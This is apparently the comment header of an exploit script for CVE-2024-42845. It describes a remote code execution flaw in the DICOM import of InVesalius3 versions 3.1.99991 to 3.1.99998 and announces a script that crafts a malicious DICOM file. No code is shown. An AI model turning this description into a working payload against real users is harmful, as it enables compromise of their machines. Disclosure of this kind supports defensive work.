# Description:
#----------------
#
#A Remote Code Execution (RCE) vulnerability exists in the DICOM file import
#procedure in Invesalius3. This vulnerability afflicts all versions from
#3.1.99991 to 3.1.99998. The exploitation steps of this vulnerability
#involve the use of a crafted DICOM file which, once imported inside the
#victim's client application allows an attacker to gain remote code
#execution over the victim's machine.

# Script:
#----------------
#
###
# The script below creates a specifically crafted DICOM payload for
#CVE-2024-42845. Remote Code Execution is gained once the DICOM file is
#imported inside the victim's client application.
